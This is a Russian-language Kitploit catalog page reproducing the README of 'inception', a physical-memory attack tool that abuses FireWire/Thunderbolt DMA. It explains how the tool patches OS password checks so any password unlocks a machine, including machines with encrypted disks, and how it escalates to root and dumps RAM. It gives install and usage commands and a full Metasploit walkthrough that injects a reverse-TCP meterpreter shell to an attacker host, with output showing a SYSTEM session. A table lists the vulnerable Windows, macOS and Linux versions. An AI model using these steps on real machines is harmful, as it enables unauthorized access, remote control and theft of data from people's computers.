Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
inception — Inception — это инструмент для физического манипулирования памятью и взлома, эксплуатирующий DMA на основе PCI. Инструмент может атаковать через FireWire, Thunderbolt, ExpressCard, PC Card и любые другие интерфейсы PCI/PCIe. | Kitploit
Инструменты/GitHubGitHub/carmaa/inception
Повышение привилегийКриминалистика памятиЭксплуатацияПост-эксплуатацияЦифровая криминалистикаТестирование на ПроникновениеАппаратная БезопасностьRed TeamingРазработка Полезной Нагрузки
GitHubcarmaa/inception

inception

Inception — это инструмент для физического манипулирования памятью и взлома, эксплуатирующий DMA на основе PCI. Инструмент может атаковать через FireWire, Thunderbolt, ExpressCard, PC Card и любые другие интерфейсы PCI/PCIe.

1.6k19851 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Note: Этот инструмент больше не находится в активной разработке, вместо него смотрите PCILeech.

INCEPTION

Inception — это инструмент для манипуляции физической памятью и взлома, использующий DMA на основе PCI. Инструмент может атаковать через FireWire, Thunderbolt, ExpressCard, PC Card и любые другие аппаратные интерфейсы PCI/PCIe.

Inception стремится предоставить относительно быстрый, стабильный, простой и расширяемый способ выполнения интрузивных и неинтрузивных манипуляций с памятью живых компьютеров с использованием DMA.

Как это работает

Модули Inception работают следующим образом: предъявляя машине-жертве unit directory протокола Serial Bus Protocol 2 (SBP-2) через интерфейс IEEE1394 FireWire, инструмент заставляет операционную систему жертвы думать, что к порту FireWire подключено устройство SBP-2. Поскольку устройства SBP-2 используют прямой доступ к памяти (DMA) для быстрой передачи больших объёмов данных (например, FireWire-диски и цифровые видеокамеры), жертва опускает щиты и включает DMA для устройства. Теперь инструмент получает полный доступ на чтение и запись к нижним 4 ГБ ОЗУ жертвы.

Как только DMA предоставлен, инструмент ищет в доступных страницах памяти сигнатуры по определённым смещениям в коде операционной системы. Когда они найдены, инструмент модифицирует этот код. Например, в модуле unlock инструмент закорачивает модуль аутентификации пароля операционной системы, который срабатывает при вводе неверного пароля.

После запуска этого модуля вы сможете войти в машину-жертву, используя любой пароль.

Аналогия этой операции — внедрение идеи в память машины; идеи, что любой пароль верен. Другими словами, эквивалент [внедрения в память] 1.

Inception бесплатен как пиво и является моим побочным проектом.

Круто! Но зачем?

Мировые эксперты по криминалистике, правительства и агентства с трёхбуквенными аббревиатурами уже используют [подобные инструменты] 2. Поэтому если вы диссидент или живёте при репрессивном режиме, этот инструмент наглядно показывает, почему важна OPSEC. Никогда не оставляйте свой ноутбук без присмотра.

Предостережения

[OS X > 10.7.2] 6 и [Windows > 8.1] 7 отключают FireWire DMA, когда пользователь заблокировал ОС, и тем самым предотвращают inception. Инструмент по-прежнему работает, пока пользователь вошёл в систему. Однако в реальной жизни это менее вероятный сценарий атаки.

Кроме того, [OS X Mavericks > 10.8.2 на Ivy Bridge (>= 2012 Macs)] 8 включает VT-D, что фактически блокирует запросы DMA и сводит на нет все модули inception, даже когда пользователь вошёл в систему. Ищите записи vtd[0] fault в вашем журнале/консоли.

Хотя эти два предостережения со временем сократят количество сценариев, где этот инструмент полезен, по состоянию на март 2015 года [70 % машин по-прежнему уязвимы] 9.

Основные данные

  • Версия: 0.4.2
  • Лицензия: GPL
  • Автор: Carsten Maartmann-Moe ([email protected])
  • Twitter: @MaartmannMoe
  • Исходный код: https://github.com/carmaa/inception

Инструмент использует библиотеку libforensic1394, предоставленную Фредди Уизерденом (Freddie Witherden), под лицензией LGPL.

Требования

Inception требует:

  • Оборудование:
    • Атакующая машина: Linux или Mac OS X (хост / атакующая машина) с интерфейсом FireWire — через встроенный порт FireWire, порт расширения ExpressCard/PCMCIA или переходник Thunderbolt на FireWire.
    • Машина-жертва: интерфейс FireWire или Thunderbolt, либо порт расширения ExpressCard/PCMCIA

На стороне атакующего в настоящее время рекомендуется Linux из-за проблемных интерфейсов FireWire в OS X. Обратите внимание, что прямое соединение Thunderbolt-to-Thunderbolt не работает, нужен переходник FireWire. При попытке использовать Thunderbolt в Linux результаты могут отличаться.

  • ПО:
    • Python 3
    • git
    • gcc (включая g++)
    • cmake
    • pip (для автоматического разрешения зависимостей)
    • [libforensic1394] 3
    • msgpack

Установка

В дистрибутивах на основе Debian команды установки можно свести к следующему (примените sudo, если вы не root):

root@kitploit:~
apt-get install git cmake g++ python3 python3-pip

В OS X можно установить требования инструмента с помощью [homebrew] 4:

root@kitploit:~
brew install git cmake python3

После установки требований загрузите и установите libforensic1394:

root@kitploit:~
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install

Загрузка и установка Inception

root@kitploit:~
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install

Скрипт установки должен автоматически установить зависимости, если у вас установлен pip.

Общее использование

  1. Соедините атакующую машину (хост) и жертву (цель) кабелем FireWire
  2. Запустите Inception

Просто введите:

root@kitploit:~
incept [module name]

Для более полного и актуального описания выполните:

root@kitploit:~
incept -h

или посетите [домашнюю страницу инструмента] 5.

Модули

Начиная с версии 0.4.0 Inception был модуляризирован. Текущие модули и их функциональность описаны ниже.

Подробные параметры использования смотрите, выполнив:

root@kitploit:~
incept [module name] -h

Unlock

Модуль unlock может разблокировать (принимая любой пароль) и повышать привилегии до администратора/root на почти* любой включённой машине, к которой у вас есть физический доступ. Модуль в первую очередь предназначен для своей магии против компьютеров, использующих полное шифрование диска, таких как BitLocker, FileVault, TrueCrypt или Pointsec. Есть множество других (и лучших) способов взломать машину без шифрования.

Модуль unlock стабильно работает на машинах с 4 ГиБ основной памяти или меньше. Если на цели больше, вам понадобится удача, чтобы найти сигнатуры, отображённые на кадр физической страницы памяти, доступный инструменту.

В этой версии он может разблокировать следующие операционные системы x86 и x64:

(1): См. предостережения выше.

Другие дистрибутивы Linux, использующие аутентификацию на основе PAM, также могут работать с сигнатурами Ubuntu.

Модуль также эффективно позволяет повышать привилегии, например, через команды runas или sudo -s соответственно.

Выполнение

Чтобы разблокировать, просто введите:

root@kitploit:~
incept unlock

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):

[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation

[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============>                                                ]  227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Implant

Модуль implant внедряет полезную нагрузку Metasploit (только в память) непосредственно в энергозависимую память целевой машины. Он интегрируется с MSF через демон msfrpcd, входящий во все версии Metasploit.

Текущая версия работает только как доказательство концепции против Windows 7 SP1 x86. Никакие другие ОС, версии или архитектуры не поддерживаются, и нет никакой гарантии, что они будут поддерживаться в будущем.

Выполнение

Для использования запустите msfrpcd:

root@kitploit:~
msfrpcd -P [password]

Затем запустите inception в другом терминале:

root@kitploit:~
incept implant --msfpw [password] --msfopts [options]

Например, чтобы создать reverse TCP meterpreter shell с целевой машины на ваш атакующий хост, сначала запустите демон msfrpcd, а затем запустите консоль, ожидающую обратных подключений.

root@kitploit:~
msfrpcd -P password
msfconsole

В консоли мы настраиваем принимающую сторону полезной нагрузки. Устанавливаем параметр EXITFUNC в значение thread, чтобы целевой процесс оставался живым, если что-то пойдёт не так:

root@kitploit:~
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j

Затем в другом терминале запускаем Inception:

root@kitploit:~
incept implant --msfpw password --msfopts LHOST=172.16.1.1

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
    x86. No other OSes, versions or architectures are supported, nor is there
    any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================>                             ]  537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================>                                    ]  434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

В консоли MSF вы должны увидеть что-то похожее на это:

root@kitploit:~
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6  172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Dump

Модуль dump упрощает дамп памяти с целевой машины на атакующий хост.

Выполнение

root@kitploit:~
incept dump

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Известные ошибки / предостережения

Пожалуйста, обратите внимание на комментарии в начале и [домашнюю страницу инструмента] 5.

Устранение неполадок

Смотрите [домашнюю страницу инструмента] 5.

Планируемые возможности

  • Надёжные импланты на x64
  • Обход VT-D
  • Импланты в ядре (ring 0)
  • Больше сигнатур

История разработки

  • 0.0.1 - Первая версия, поддерживает базовую разблокировку Windows XP SP3, Vista и 7, Mac OS X и Ubuntu Gnome
  • 0.0.2 - Добавлены сигнатуры для ранней XP SP3 и Windows 7 x86 и x64 SP1
  • 0.0.3 - Добавлены некоторые сигнатуры (спасибо Tekkenhead) и обработка ошибок
  • 0.0.4 - Добавлен businfo для отображения подключённых устройств FireWire, а также возможности дампа памяти
  • 0.0.5 - Улучшены возможности дампа памяти и добавлен каталог образцов
  • 0.0.6 - Добавлено модульное тестирование
  • 0.0.7 - Обновлены сигнатуры Ubuntu и повышение привилегий — спасибо Adel Khaldi из Алжира
  • 0.0.8 - Исправлены патчи разблокировки и повышения привилегий Ubuntu — один патч вместо двух
  • 0.1.0 - Первая минорная версия! Добавлены сигнатуры для OS X и Vista, а также довольно много исправлений ошибок
  • 0.1.1 - Добавлены сигнатуры для Ubuntu 12.04 LTS
  • 0.1.2 - Исправлено несколько ошибок
  • 0.1.3 - Исправлена ошибка сигнатуры OS X 10.6.8 x64
  • 0.1.4 - Добавлен ручной режим, упрощающий тестирование новых сигнатур
  • 0.2.0 - Добавлены сигнатуры для OS X Mountain Lion (10.8) и Windows 8
  • 0.2.1 - Добавлены сигнатуры для Ubuntu 12.10
  • 0.2.2 - Добавлены сигнатуры для Linux Mint
  • 0.2.3 - Общая очистка кода и более аккуратный и последовательный вывод
  • 0.2.4 - Добавлен индикатор выполнения
  • 0.2.5 - Для запуска инструмента больше не нужны права root
  • 0.2.6 - Исправления ошибок
  • 0.3.0 - Добавлена поддержка целей Ubuntu 13.04
  • 0.3.1 - Добавлена поддержка OS X Mavericks и Windows 8.1
  • 0.3.2 - Исправления ошибок и поддержка Ubuntu 13.10
  • 0.3.3 - Исправления ошибок, связанных с выводом и обработкой ошибок
  • 0.3.4 - Maestro!
  • 0.3.5 - Добавлены сигнатуры Ubuntu 10.10 и 10.04 x86
  • 0.4.0 - Полная реструктуризация и переписывание. Добавлен модуль implant
  • 0.4.1 - Объединена поддержка интерфейса SLOTSCREAMER
  • 0.4.2 - Новые сигнатуры

Отказ от ответственности

Не причиняйте зла с помощью этого инструмента. Кроме того, я пентестер, а не разработчик. Поэтому если вы видите странный код, который раздражает ваши чувства питонической чистоты, сообщите мне, как я могу его улучшить. Или ещё лучше — форкните мой код, измените его и отправьте pull request.

Скачать инструмент
ОСВерсияРазблокировка экрана входаПовышение привилегий
Windows 88.1Да (1)Да (1)
Windows 88.0ДаДа
Windows 7SP1ДаДа
Windows 7SP0ДаДа
Windows VistaSP2ДаДа
Windows VistaSP1ДаДа
Windows VistaSP0ДаДа
Windows XPSP3ДаДа
Windows XPSP2ДаДа
Windows XPSP1
Windows XPSP0
Mac OS XMavericksДа (1)Да (1)
Mac OS XMountain LionДа (1)Да (1)
Mac OS XLionДа (1)Да (1)
Mac OS XSnow LeopardДаДа
Mac OS XLeopard
UbuntuSaucyДаДа
UbuntuRaringДаДа
UbuntuQuantalДаДа
UbuntuPreciseДаДа
UbuntuOneiricДаДа
UbuntuNattyДаДа
Linux Mint13ДаДа
Linux Mint12ДаДа
Linux Mint12ДаДа